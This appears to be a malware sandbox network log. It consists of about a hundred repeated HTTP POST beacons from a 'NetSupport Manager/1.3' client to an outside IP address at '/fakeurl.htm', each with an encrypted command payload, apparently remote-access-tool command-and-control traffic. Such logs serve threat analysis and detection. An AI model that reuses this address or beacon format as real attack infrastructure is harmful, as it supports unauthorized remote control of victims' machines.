Dec 6, 2023 14:53:17.689965010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:17.789984941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:17.889985085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:17.990983009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.091032028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.192226887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.293119907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.393965960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.494050980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.593960047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.693994999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.794970989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.895059109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:18.995966911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.096088886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.197113991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.298156023 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.398089886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.498991013 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.600080967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.699990034 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:19.903973103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.003982067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.105015993 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.206021070 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.305999041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.405971050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.506974936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.606966972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.706948996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.806982040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.907985926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.007980108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.108982086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.208957911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.309964895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.409950972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.511003971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.611007929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.711360931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.813390970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:21.913955927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.115045071 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.215948105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.316067934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.416965961 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.518088102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.618983030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.719969988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.820064068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:22.921082973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.021946907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.122049093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.222067118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.322088957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.423078060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.526349068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.626972914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.728116035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.828067064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:23.928967953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.029203892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.230073929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.331054926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.431010962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.532171965 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.633064032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.733150005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.833976030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:24.933995962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.035079002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.134973049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.236150980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.336213112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.435956001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.536969900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.637022972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.737224102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.838023901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.938345909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.039316893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.138981104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.239959002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.340076923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.440009117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.540985107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.641184092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.741950989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.841984987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.943007946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.043096066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.143085957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.243021011 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
